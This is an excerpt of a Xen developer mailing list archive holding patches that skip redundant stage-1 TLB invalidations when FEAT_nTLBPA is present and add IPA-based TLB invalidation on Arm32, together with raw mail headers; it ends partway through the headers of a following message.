When FEAT_nTLBPA is present, a stage-2 invalidation no longer needs to
be paired with an additional stage-1 invalidation solely to discard
such side effects. Use this to avoid redundant stage-1 invalidation in
the combined guest TLBI paths.

Update the stage-1-only guest TLBI helpers so that they become no-ops
when FEAT_nTLBPA is present. This allows existing call sites that
conservatively issue stage-1 invalidation after stage-2 invalidation to
benefit without further restructuring.

Also update the Arm64 IPA-based invalidation helper so that:
  - stage-2 invalidation by IPA is performed explicitly,
  - stage-1 invalidation is issued separately only when FEAT_nTLBPA is
    absent,
  - completion of the broadcast TLBI sequence remains explicit.

This makes the architectural intent clearer and avoids redundant
invalidations on systems that implement FEAT_nTLBPA.

Suggested-by: Mohamed Mediouni <mohamed@unpredictable.fr>
Signed-off-by: Haseeb Ashraf <haseeb.ashraf@siemens.com>

Changes in v4:
- Reworked the Arm64 IPA-based invalidation helper so that stage-2,
  optional stage-1, and final TLBI completion are expressed
  separately and explicitly.
- Simplified the FEAT_nTLBPA optimization by reusing the explicit TLBI
  completion helper instead of open-coding a special final IPA TLBI
  sequence.
- Refined comments and commit message wording.

Changes in v3:
- This commit has no functional change in v3, only rebasing changes
  due to updates in commit-1.

Changes in v2:
- This commit is implemented in v2 and is splitted from commit-1 in
  v1. This is implemented by using CPU capability.
---
 xen/arch/arm/cpufeature.c                 | 19 ++++++++++
 xen/arch/arm/include/asm/arm32/flushtlb.h | 14 ++++----
 xen/arch/arm/include/asm/arm64/flushtlb.h | 44 +++++++++++++++++++----
 xen/arch/arm/include/asm/cpufeature.h     | 24 +++++++++++--
 xen/arch/arm/include/asm/processor.h      |  7 ++++
 5 files changed, 93 insertions(+), 15 deletions(-)

diff --git a/xen/arch/arm/cpufeature.c b/xen/arch/arm/cpufeature.c
index 94d14fb6a9..86720c10a3 100644
--- a/xen/arch/arm/cpufeature.c
+++ b/xen/arch/arm/cpufeature.c
@@ -17,7 +17,19 @@ DECLARE_BITMAP(cpu_hwcaps, ARM_NCAPS);
 
 struct cpuinfo_arm __read_mostly domain_cpuinfo;
 
+#ifdef CONFIG_ARM_32
+static bool has_ntlbpa(const struct arm_cpu_capabilities *entry)
+{
+    return system_cpuinfo.mm32.ntlbpa == MM32_NTLBPA_SUPPORT_IMP;
+}
+#endif
+
 #ifdef CONFIG_ARM_64
+static bool has_ntlbpa(const struct arm_cpu_capabilities *entry)
+{
+    return system_cpuinfo.mm64.ntlbpa == MM64_NTLBPA_SUPPORT_IMP;
+}
+
 static bool has_sb_instruction(const struct arm_cpu_capabilities *entry)
 {
     return system_cpuinfo.isa64.sb;
@@ -25,6 +37,13 @@ static bool has_sb_instruction(const struct arm_cpu_capabilities *entry)
 #endif
 
 static const struct arm_cpu_capabilities arm_features[] = {
+#if defined(CONFIG_ARM_32) || defined(CONFIG_ARM_64)
+    {
+        .desc = "Intermediate caching of translation table walks (nTLBPA)",
+        .capability = ARM_HAS_NTLBPA,
+        .matches = has_ntlbpa,
+    },
+#endif
 #ifdef CONFIG_ARM_64
     {
         .desc = "Speculation barrier instruction (SB)",
diff --git a/xen/arch/arm/include/asm/arm32/flushtlb.h b/xen/arch/arm/include/asm/arm32/flushtlb.h
index 1497f16ba5..30df161323 100644
--- a/xen/arch/arm/include/asm/arm32/flushtlb.h
+++ b/xen/arch/arm/include/asm/arm32/flushtlb.h
@@ -49,8 +49,8 @@ TLB_HELPER(flush_xen_tlb_local, TLBIALLH, nsh)
  * Flush TLB of local processor. Use when flush for only stage-1 is intended.
  *
  * The following function should be used where intention is to clear only
- * stage-1 TLBs. This would be helpful in future in identifying which stage-1
- * TLB flushes can be skipped such as in present of FEAT_nTLBPA.
+ * stage-1 TLBs. This would be helpful in identifying which stage-1 TLB flushes
+ * can be skipped such as in present of FEAT_nTLBPA.
  */
 static inline void flush_guest_tlb_s1_local(void)
 {
@@ -60,7 +60,8 @@ static inline void flush_guest_tlb_s1_local(void)
      *
      * See ARMv8 (DDI 0487L.b): G5-11698 Table G5-23.
      */
-    return flush_guest_tlb_local();
+    if ( !cpus_have_const_cap(ARM_HAS_NTLBPA) )
+        flush_guest_tlb_local();
 }
 
 /*
@@ -68,8 +69,8 @@ static inline void flush_guest_tlb_s1_local(void)
  * stage-1 is intended.
  *
  * The following function should be used where intention is to clear only
- * stage-1 TLBs. This would be helpful in future in identifying which stage-1
- * TLB flushes can be skipped such as in present of FEAT_nTLBPA.
+ * stage-1 TLBs. This would be helpful in identifying which stage-1 TLB flushes
+ * can be skipped such as in present of FEAT_nTLBPA.
  */
 static inline void flush_guest_tlb_s1(void)
 {
@@ -79,7 +80,8 @@ static inline void flush_guest_tlb_s1(void)
      *
      * See ARMv8 (DDI 0487L.b): G5-11698 Table G5-23.
      */
-    return flush_guest_tlb();
+    if ( !cpus_have_const_cap(ARM_HAS_NTLBPA) )
+        flush_guest_tlb();
 }
 
 /* Flush TLB of local processor for address va. */
diff --git a/xen/arch/arm/include/asm/arm64/flushtlb.h b/xen/arch/arm/include/asm/arm64/flushtlb.h
index cbe2a0da57..de266b0e11 100644
--- a/xen/arch/arm/include/asm/arm64/flushtlb.h
+++ b/xen/arch/arm/include/asm/arm64/flushtlb.h
@@ -63,6 +63,36 @@ static inline void name(void)                         \
         : : : "memory"); \
 }
 
+#define TLB_HELPER_NTLBPA_LOCAL(name, tlbop)     \
+static inline void name(void)                    \
+{                                                \
+    if ( !cpus_have_const_cap(ARM_HAS_NTLBPA) )  \
+        asm_inline volatile (                    \
+            "dsb  nshst;"                        \
+            "tlbi "  # tlbop  ";"                \
+            "dsb  nsh;"                          \
+            "isb;"                               \
+            : : : "memory");                     \
+}
+
+#define TLB_HELPER_NTLBPA(name, tlbop)                \
+static inline void name(void)                         \
+{                                                     \
+    if ( !cpus_have_const_cap(ARM_HAS_NTLBPA) )       \
+        asm_inline volatile (                         \
+            "dsb  ishst;"                             \
+            "tlbi "  # tlbop  ";"                     \
+            ALTERNATIVE(                              \
+                "nop; nop;",                          \
+                "dsb  ish;"                           \
+                "tlbi vale2is, xzr;",                 \
+                ARM64_WORKAROUND_REPEAT_TLBI,         \
+                CONFIG_ARM64_WORKAROUND_REPEAT_TLBI)  \
+            "dsb  ish;"                               \
+            "isb;"                                    \
+            : : : "memory");                          \
+}
+
 /* Flush local TLBs, current VMID only. */
 TLB_HELPER_LOCAL(flush_guest_tlb_local, vmalls12e1)
 
@@ -70,10 +100,10 @@ TLB_HELPER_LOCAL(flush_guest_tlb_local, vmalls12e1)
 TLB_HELPER(flush_guest_tlb, vmalls12e1is)
 
 /* Flush local TLBs, current VMID, stage-1 only */
-TLB_HELPER(flush_guest_tlb_s1_local, vmalle1, nsh)
+TLB_HELPER_NTLBPA_LOCAL(flush_guest_tlb_s1_local, vmalle1)
 
 /* Flush innershareable TLBs, current VMID, stage-1 only */
-TLB_HELPER(flush_guest_tlb_s1, vmalle1is, ish)
+TLB_HELPER_NTLBPA(flush_guest_tlb_s1, vmalle1is)
 
 /* Flush local TLBs, all VMIDs, non-hypervisor mode */
 TLB_HELPER_LOCAL(flush_all_guests_tlb_local, alle1)
@@ -86,6 +116,8 @@ TLB_HELPER_LOCAL(flush_xen_tlb_local, alle2)
 
 #undef TLB_HELPER_LOCAL
 #undef TLB_HELPER
+#undef TLB_HELPER_NTLBPA_LOCAL
+#undef TLB_HELPER_NTLBPA
 
 /*
  * FLush TLB by VA. This will likely be used in a loop, so the caller
@@ -169,11 +201,11 @@ static inline void flush_guest_tlb_range_ipa(paddr_t ipa, unsigned long size)
     }
 
     /*
-     * Invalidate stage-1 entries for the current VMID as well. Keep this
-     * separate from completion of the broadcast TLBI sequence so that the
-     * final barriers/workaround are explicit.
+     * Without FEAT_nTLBPA, invalidate corresponding stage-1 side effects
+     * separately. Completion of the broadcast TLBI sequence remains explicit.
      */
-    asm_inline volatile("tlbi vmalle1is" : : : "memory");
+    if ( !cpus_have_const_cap(ARM_HAS_NTLBPA) )
+        asm_inline volatile("tlbi vmalle1is" : : : "memory");
 
     tlbi_complete_broadcast();
 }
diff --git a/xen/arch/arm/include/asm/cpufeature.h b/xen/arch/arm/include/asm/cpufeature.h
index bf902a3970..3e56dd27ef 100644
--- a/xen/arch/arm/include/asm/cpufeature.h
+++ b/xen/arch/arm/include/asm/cpufeature.h
@@ -76,8 +76,9 @@
 #define ARM_WORKAROUND_BHB_SMCC_3 15
 #define ARM_HAS_SB 16
 #define ARM64_WORKAROUND_1508412 17
+#define ARM_HAS_NTLBPA 18
 
-#define ARM_NCAPS           18
+#define ARM_NCAPS           19
 
 #ifndef __ASSEMBLER__
 
@@ -276,7 +277,8 @@ struct cpuinfo_arm {
             unsigned long ets:4;
             unsigned long __res2:4;
             unsigned long afp:4;
-            unsigned long __res3:12;
+            unsigned long ntlbpa:4;
+            unsigned long __res3:8;
             unsigned long ecbhb:4;
 
             /* MMFR2 */
@@ -437,8 +439,24 @@ struct cpuinfo_arm {
         register_t bits[1];
     } aux32;
 
-    struct {
+    union {
         register_t bits[6];
+        struct {
+            /* MMFR0 */
+            unsigned long __res0:32;
+            /* MMFR1 */
+            unsigned long __res1:32;
+            /* MMFR2 */
+            unsigned long __res2:32;
+            /* MMFR3 */
+            unsigned long __res3:32;
+            /* MMFR4 */
+            unsigned long __res4:32;
+            /* MMFR5 */
+            unsigned long __res5:4;
+            unsigned long ntlbpa:4;
+            unsigned long __res6:24;
+        };
     } mm32;
 
     struct {
diff --git a/xen/arch/arm/include/asm/processor.h b/xen/arch/arm/include/asm/processor.h
index a3753c317f..dbf9471a7a 100644
--- a/xen/arch/arm/include/asm/processor.h
+++ b/xen/arch/arm/include/asm/processor.h
@@ -484,9 +484,16 @@
 /* FSR long format */
 #define FSRL_STATUS_DEBUG       (_AC(0x22,UL)<<0)
 
+#ifdef CONFIG_ARM_32
+#define MM32_NTLBPA_SUPPORT_NI      0x0
+#define MM32_NTLBPA_SUPPORT_IMP     0x1
+#endif
+
 #ifdef CONFIG_ARM_64
 #define MM64_VMID_8_BITS_SUPPORT    0x0
 #define MM64_VMID_16_BITS_SUPPORT   0x2
+#define MM64_NTLBPA_SUPPORT_NI      0x0
+#define MM64_NTLBPA_SUPPORT_IMP     0x1
 #endif
 
 #define MM64_MSA_PMSA_SUPPORT       0xf
-- 
2.43.0



From xen-devel-bounces@lists.xenproject.org Tue Jul 21 07:55:11 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Tue, 21 Jul 2026 07:55:11 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1367526.1617292 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wm5Jn-0005gl-2b; Tue, 21 Jul 2026 07:55:11 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1367526.1617292; Tue, 21 Jul 2026 07:55:11 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wm5Jm-0005gX-Vl; Tue, 21 Jul 2026 07:55:10 +0000
Received: by outflank-mailman (input) for mailman id 1367526;
 Tue, 21 Jul 2026 07:55:10 +0000
Received: from mx.expurgate.net ([195.190.135.20])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <haseebashraf091@gmail.com>) id 1wm5Jl-0005es-VD
 for xen-devel@lists.xenproject.org; Tue, 21 Jul 2026 07:55:10 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wm5Jl-009Ifk-By
 for xen-devel@lists.xenproject.org; Tue, 21 Jul 2026 09:55:09 +0200
Received: from [10.42.69.1] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <haseebashraf091@gmail.com>)
 id 6a5f25d7-e002-0a2a0a5209dd-0a2a45018776-14
 for <xen-devel@lists.xenproject.org>; Tue, 21 Jul 2026 09:55:09 +0200
Received: from [209.85.128.49] (helo=mail-wm1-f49.google.com)
 by tlsNG-d62444.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <haseebashraf091@gmail.com>)
 id 6a5f25db-5984-0a2a45010019-d1558031c8fe-3
 for <xen-devel@lists.xenproject.org>; Tue, 21 Jul 2026 09:55:07 +0200
Received: by mail-wm1-f49.google.com with SMTP id
 5b1f17b1804b1-4956869750eso1244745e9.2
 for <xen-devel@lists.xenproject.org>; Tue, 21 Jul 2026 00:55:07 -0700 (PDT)
Received: from PKL-HASEEBA-LT.. ([139.135.37.55])
 by smtp.gmail.com with ESMTPSA id
 5b1f17b1804b1-4956537c7desm64018485e9.7.2026.07.21.00.55.04
 (version=TLS1_3 cipher=TLS_AES_256_GCM_SHA384 bits=256/256);
 Tue, 21 Jul 2026 00:55:06 -0700 (PDT)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=20251104 header.d=gmail.com header.i="@gmail.com" header.h="Content-Transfer-Encoding:MIME-Version:References:In-Reply-To:Message-ID:Date:Subject:Cc:To:From"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20251104; t=1784620507; x=1785225307; darn=lists.xenproject.org;
        h=content-transfer-encoding:mime-version:references:in-reply-to
         :message-id:date:subject:cc:to:from:from:to:cc:subject:date
         :message-id:reply-to:content-type;
        bh=F8y3SqamaTJh0GUJ2sdHO6bq/+cXRF/0GLWO2Zr3rpE=;
        b=IK8nxTsKG3T8u+muZfVIe0DihAbjdB92kfH1H3SlgtlWPswignnku75dtP4R3F7oRy
         /jo0vgCey04/l8UQjL7ezj3vB87ERInnsErHHnqDaG/hljjhPqNzelmAyONZ+IKUKJ9z
         OO6kqejL5YJWfle7P332UuoiUpeKr2WLLwg5W2xPWlOaNcRLC0JMipqAsusFZc6cCvUm
         cI2XxNHPDEWjhkW2CtTsiTL4/7WG/Y+X8tBPLIj6j3ZIUDrkTITA0nJt6QdQEUHSwaIW
         /z8xIzm297RwG1Nk8f9KjyMm6YehZ3ww1opzYgUVgi77oxbH4fJiJY7f0UOjeS5keMQd
         GEpA==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20251104; t=1784620507; x=1785225307;
        h=content-transfer-encoding:mime-version:references:in-reply-to
         :message-id:date:subject:cc:to:from:x-gm-gg:x-gm-message-state:from
         :to:cc:subject:date:message-id:reply-to:content-type;
        bh=F8y3SqamaTJh0GUJ2sdHO6bq/+cXRF/0GLWO2Zr3rpE=;
        b=EjKhff0vfkIQ8LQgtwPCeVSn0S/PBu7zwlwAspAcV/hjxZhTwE+S1XxJMC8qRrYJV1
         spQxxzJWcVzQsMbS8CcsWJGrwDzjNcPzZj7fY9UOnsv9tiDA0NLlBJSAkn8CDU8vvPub
         6xGCdsKQ6kQQH7XxTMnmtX3+FHPN8UULPVGeiLUS9ZKiTuMC7eYTHKWqfkWmgInQsnVD
         U8YRPXRvlHm8/4yENdGzeN/eH5jz5Eszx/ZUblz7LxhLcX6ZO4jemi7CHgnx0jwRy6Bm
         MqH2AyTaGSH4D2LGlgds8S6/4yDv210Xm0YvDttCaPuKYUGvLsfEHV5bP3zvZHVvJZDN
         SwYw==
X-Gm-Message-State: AOJu0Yz+TS0rSO52HToR8dZwQQiaDgW9fbQ4H7t9w0j2mA8RNuIa49le
	Ge6ceIrLlxlrrPAwM4ljRqg5hBYKUjwpPhzYLsOBjKFynsoPEgwQWNv2ikwsBEbI
X-Gm-Gg: AfdE7ckT2Ocb2WADtj9SqOEHWau10A+tTPRJi7Q+R2NFAx+UOSN3BFriskI7FIyQjbK
	ITcEq0JZO0/EzJNYp/isg7BGb45yOpmqGT9C2kCinP4Y5qiRKzzuBmNGCWzRfH0JTLdR7+24b6W
	kxhZRy4fl5xr0O/ZukogD6GWq9CldvNVJDC8633/e11uA7fjpTeRuO6h5B5ydLNA4DRn3In7eJO
	ptYLOVp7REUEs4AFUWLqYq5tDDAbQaWtzM6s4CH64XYlGaZoeUt3jtOERtmjaa1jYqSd+HfAtV9
	L3T5OGvvSia35RkkNY4poNbo2JWT9bKilK2jw94pC2xvRzjtn+iItNhfpb8/wZT7lKVQZKo6vrf
	ZPgaxqp+YDtuxImLN1nOXhEwGRvcTSmQ8J5uSAKtFhXhBRzQG+He7jBVtErZ+qkym4M0PKifkyP
	DT/r4hxcvbPVIabP1WU++7cs84ym9KquzOZ0FgxbOUlR4=
X-Received: by 2002:a05:600c:5351:b0:493:c8a6:b517 with SMTP id 5b1f17b1804b1-4954a51bb65mr138176715e9.38.1784620507118;
        Tue, 21 Jul 2026 00:55:07 -0700 (PDT)
From: Haseeb Ashraf <haseebashraf091@gmail.com>
To: xen-devel@lists.xenproject.org
Cc: haseeb.ashraf@siemens.com,
	Stefano Stabellini <sstabellini@kernel.org>,
	Julien Grall <julien@xen.org>,
	Bertrand Marquis <bertrand.marquis@arm.com>,
	Michal Orzel <michal.orzel@amd.com>,
	Volodymyr Babchuk <Volodymyr_Babchuk@epam.com>
Subject: [XEN][RESEND][PATCH 3/3] xen/arm32: use IPA-based TLBI when supported with FEAT_nTLBPA
Date: Tue, 21 Jul 2026 12:54:51 +0500
Message-ID: <d072f06ddbe9960b20d454809cdcdcfd294532f9.1784619778.git.haseeb.ashraf@siemens.com>
X-Mailer: git-send-email 2.43.0
In-Reply-To: <e933703bf76cbc33e5d05a023900389fd6a9f925.1784619778.git.haseeb.ashraf@siemens.com>
References: <e933703bf76cbc33e5d05a023900389fd6a9f925.1784619778.git.haseeb.ashraf@siemens.com>
MIME-Version: 1.0
Content-Transfer-Encoding: 8bit
X-purgate-ID: tlsNG-d62444/1784620507-C4B45757-FCB4C2C3/0/0
X-purgate-type: clean
X-purgate-size: 8491

From: Haseeb Ashraf <haseeb.ashraf@siemens.com>

Arm32 provides TLBI-by-IPA instructions on CPUs that implement the
relevant stage-2 invalidation support. Detect this as a CPU capability
and use it to perform IPA-based invalidation in the p2m range flush
helper.

On Arm32, however, IPA-based stage-2 invalidation is only useful when
FEAT_nTLBPA is also present. Without FEAT_nTLBPA, a stage-2 invalidation
may still require discarding associated stage-1 side effects, and Arm32
does not provide a separate stage-1 guest TLBI that Xen can use here.
In that case, falling back to the existing full guest flush remains the
correct approach.

Therefore, enable Arm32 IPA-based invalidation only when both:
  - TLBI-by-IPA is supported, and
  - FEAT_nTLBPA is present.

As on Arm64, the helper bounds the per-page invalidation loop with a
256MB cutoff and falls back to a full guest flush for larger ranges.
For Arm32 this threshold is used as a conservative practical limit,
reusing the Arm64 cutoff, rather than as an Arm32-specific tuned value.

Suggested-by: Julien Grall <julien@xen.org>
Signed-off-by: Haseeb Ashraf <haseeb.ashraf@siemens.com>

Changes in v4:
- Clarified that Arm32 IPA-based TLBI is only enabled when both
  TLBI-by-IPA support and FEAT_nTLBPA are present.
- Clarified that the 256MB threshold is reused as a conservative
  practical cutoff and is not based on Arm32-specific measurements.
- Refined comments and commit message wording.

Changes in v3:
- There are no functional changes in this version. There are minor
  code updates and comment updates as per the feedback on v2.
- The cpregs are defined in order as per Coprocessor-> CRn-> Opcode 1
  -> CRm-> Opcode 2.
- Added comment to explain why IPA-based TLBI is added only in
  presence of FEAT_nTLBPA.
- Replaced `goto default_tlbi` with if...else.
- Removed extra definitions of MM32_UNITLB_* macros which were not
  being used.

Changes in v2:
- This commit is implemented in v2 as per the feedback to implement
  IPA-based TLBI for Arm32 in addition to Arm64.
---
 xen/arch/arm/cpufeature.c                 | 12 ++++++
 xen/arch/arm/include/asm/arm32/flushtlb.h | 47 ++++++++++++++++++++---
 xen/arch/arm/include/asm/cpregs.h         |  1 +
 xen/arch/arm/include/asm/cpufeature.h     | 15 +++++---
 xen/arch/arm/include/asm/processor.h      |  3 ++
 5 files changed, 67 insertions(+), 11 deletions(-)

diff --git a/xen/arch/arm/cpufeature.c b/xen/arch/arm/cpufeature.c
index 86720c10a3..9ca449a551 100644
--- a/xen/arch/arm/cpufeature.c
+++ b/xen/arch/arm/cpufeature.c
@@ -18,6 +18,11 @@ DECLARE_BITMAP(cpu_hwcaps, ARM_NCAPS);
 struct cpuinfo_arm __read_mostly domain_cpuinfo;
 
 #ifdef CONFIG_ARM_32
+static bool has_tlb_ipa_instruction(const struct arm_cpu_capabilities *entry)
+{
+    return system_cpuinfo.mm32.unitlb == MM32_UNITLB_BY_IPA;
+}
+
 static bool has_ntlbpa(const struct arm_cpu_capabilities *entry)
 {
     return system_cpuinfo.mm32.ntlbpa == MM32_NTLBPA_SUPPORT_IMP;
@@ -37,6 +42,13 @@ static bool has_sb_instruction(const struct arm_cpu_capabilities *entry)
 #endif
 
 static const struct arm_cpu_capabilities arm_features[] = {
+#ifdef CONFIG_ARM_32
+    {
+        .desc = "IPA-based TLB Invalidation",
+        .capability = ARM32_HAS_TLB_IPA,
+        .matches = has_tlb_ipa_instruction,
+    },
+#endif
 #if defined(CONFIG_ARM_32) || defined(CONFIG_ARM_64)
     {
         .desc = "Intermediate caching of translation table walks (nTLBPA)",
diff --git a/xen/arch/arm/include/asm/arm32/flushtlb.h b/xen/arch/arm/include/asm/arm32/flushtlb.h
index 30df161323..1db6b8410e 100644
--- a/xen/arch/arm/include/asm/arm32/flushtlb.h
+++ b/xen/arch/arm/include/asm/arm32/flushtlb.h
@@ -1,6 +1,8 @@
 #ifndef __ASM_ARM_ARM32_FLUSHTLB_H__
 #define __ASM_ARM_ARM32_FLUSHTLB_H__
 
+#include <xen/sizes.h> /* For SZ_* macros. */
+
 /*
  * Every invalidation operation use the following patterns:
  *
@@ -107,12 +109,47 @@ static inline void flush_guest_tlb_range_ipa(paddr_t ipa,
                                              unsigned long size)
 {
     /*
-     * Following can invalidate both stage-1 and stage-2 TLBs depending upon
-     * the execution mode.
-     *
-     * See ARMv8 (DDI 0487L.b): G5-11698 Table G5-23.
+     * IPA-based stage-2 invalidation is only useful when FEAT_nTLBPA is
+     * present. Without FEAT_nTLBPA, invalidating stage-2 alone may still
+     * require discarding associated stage-1 side effects, and Arm32 does not
+     * provide a separate guest stage-1 TLBI for that case.
      */
-    flush_guest_tlb();
+    if ( cpus_have_const_cap(ARM_HAS_NTLBPA) &&
+         cpus_have_const_cap(ARM32_HAS_TLB_IPA) )
+    {
+        /*
+         * If the IPA range is too large, fall back to a full guest flush
+         * rather than issuing a long per-page TLBI sequence. Reuse the same
+         * practical cutoff as Arm64.
+         */
+        if ( size > SZ_256M )
+            flush_guest_tlb();
+        else
+        {
+            paddr_t end = ipa + size;
+
+            dsb(ishst); /* Ensure prior page-tables updates have completed */
+            while ( ipa < end )
+            {
+                /* Flush stage-2 TLBs for this IPA. */
+                asm volatile ( STORE_CP32(0, TLBIIPAS2IS)
+                               : : "r" (ipa >> PAGE_SHIFT) : "memory" );
+                ipa += PAGE_SIZE;
+            }
+            dsb(ish);
+            isb();
+        }
+    }
+    else
+    {
+        /*
+         * Following can invalidate both stage-1 and stage-2 TLBs depending
+         * upon the execution mode.
+         *
+         * See ARMv8 (DDI 0487L.b): G5-11698 Table G5-23.
+         */
+        flush_guest_tlb();
+    }
 }
 
 #endif /* __ASM_ARM_ARM32_FLUSHTLB_H__ */
diff --git a/xen/arch/arm/include/asm/cpregs.h b/xen/arch/arm/include/asm/cpregs.h
index a7503a190f..26b5c08d0e 100644
--- a/xen/arch/arm/include/asm/cpregs.h
+++ b/xen/arch/arm/include/asm/cpregs.h
@@ -223,6 +223,7 @@
 #define TLBIMVA         p15,0,c8,c7,1   /* invalidate unified TLB entry by MVA */
 #define TLBIASID        p15,0,c8,c7,2   /* invalid unified TLB by ASID match */
 #define TLBIMVAA        p15,0,c8,c7,3   /* invalidate unified TLB entries by MVA all ASID */
+#define TLBIIPAS2IS     p15,4,c8,c0,1   /* Invalidate unified TLB entry for stage 2 by IPA inner shareable */
 #define TLBIALLHIS      p15,4,c8,c3,0   /* Invalidate Entire Hyp. Unified TLB inner shareable */
 #define TLBIMVAHIS      p15,4,c8,c3,1   /* Invalidate Unified Hyp. TLB by MVA inner shareable */
 #define TLBIALLNSNHIS   p15,4,c8,c3,4   /* Invalidate Entire Non-Secure Non-Hyp. Unified TLB inner shareable */
diff --git a/xen/arch/arm/include/asm/cpufeature.h b/xen/arch/arm/include/asm/cpufeature.h
index 3e56dd27ef..09a516fe49 100644
--- a/xen/arch/arm/include/asm/cpufeature.h
+++ b/xen/arch/arm/include/asm/cpufeature.h
@@ -77,8 +77,9 @@
 #define ARM_HAS_SB 16
 #define ARM64_WORKAROUND_1508412 17
 #define ARM_HAS_NTLBPA 18
+#define ARM32_HAS_TLB_IPA 19
 
-#define ARM_NCAPS           19
+#define ARM_NCAPS           20
 
 #ifndef __ASSEMBLER__
 
@@ -447,15 +448,17 @@ struct cpuinfo_arm {
             /* MMFR1 */
             unsigned long __res1:32;
             /* MMFR2 */
-            unsigned long __res2:32;
+            unsigned long __res2:16;
+            unsigned long unitlb:4;
+            unsigned long __res3:12;
             /* MMFR3 */
-            unsigned long __res3:32;
-            /* MMFR4 */
             unsigned long __res4:32;
+            /* MMFR4 */
+            unsigned long __res5:32;
             /* MMFR5 */
-            unsigned long __res5:4;
+            unsigned long __res6:4;
             unsigned long ntlbpa:4;
-            unsigned long __res6:24;
+            unsigned long __res7:24;
         };
     } mm32;
 
diff --git a/xen/arch/arm/include/asm/processor.h b/xen/arch/arm/include/asm/processor.h
index dbf9471a7a..0c47225de0 100644
--- a/xen/arch/arm/include/asm/processor.h
+++ b/xen/arch/arm/include/asm/processor.h
@@ -485,6 +485,9 @@
 #define FSRL_STATUS_DEBUG       (_AC(0x22,UL)<<0)
 
 #ifdef CONFIG_ARM_32
+#define MM32_UNITLB_NI              0x0
+#define MM32_UNITLB_BY_IPA          0x6
+
 #define MM32_NTLBPA_SUPPORT_NI      0x0
 #define MM32_NTLBPA_SUPPORT_IMP     0x1
 #endif
-- 
2.43.0



From xen-devel-bounces@lists.xenproject.org Tue Jul 21 07:59:11 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Tue, 21 Jul 2026 07:59:11 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1367557.1617302 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wm5Nc-0007g5-IU; Tue, 21 Jul 2026 07:59:08 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1367557.1617302; Tue, 21 Jul 2026 07:59:08 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wm5Nc-0007fy-FJ; Tue, 21 Jul 2026 07:59:08 +0000
Received: by outflank-mailman (input) for mailman id 1367557;
 Tue, 21 Jul 2026 07:59:07 +0000
Received: from mx.expurgate.net ([194.145.224.10])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <mlureau@redhat.com>) id 1wm5Nb-0007fs-Bn
 for xen-devel@lists.xenproject.org; Tue, 21 Jul 2026 07:59:07 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wm5Na-003cBn-LG
 for xen-devel@lists.xenproject.org; Tue, 21 Jul 2026 09:59:06 +0200
Received: from [10.42.69.11] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <mlureau@redhat.com>)
 id 6a5f26c2-e002-0a2a0a5209dd-0a2a450bc8f8-30
 for <xen-devel@lists.xenproject.org>; Tue, 21 Jul 2026 09:59:06 +0200
Received: from [170.10.129.124] (helo=us-smtp-delivery-124.mimecast.com)
 by tlsNG-42698a.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <mlureau@redhat.com>)
 id 6a5f26c8-b7e8-0a2a450b0019-aa0a817cbb19-3
 for <xen-devel@lists.xenproject.org>; Tue, 21 Jul 2026 09:59:06 +0200
Received: from mail-pl1-f200.google.com (mail-pl1-f200.google.com
 [209.85.214.200]) by relay.mimecast.com with ESMTP with STARTTLS
 (version=TLSv1.3, cipher=TLS_AES_256_GCM_SHA384) id
 us-mta-439-VzjbOMH9MgKWqgM2KHrssQ-1; Tue, 21 Jul 2026 03:59:03 -0400
Received: by mail-pl1-f200.google.com with SMTP id
 d9443c01a7336-2ccbb61893fso232050805ad.0
 for <xen-devel@lists.xenproject.org>; Tue, 21 Jul 2026 00:59:02 -0700 (PDT)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
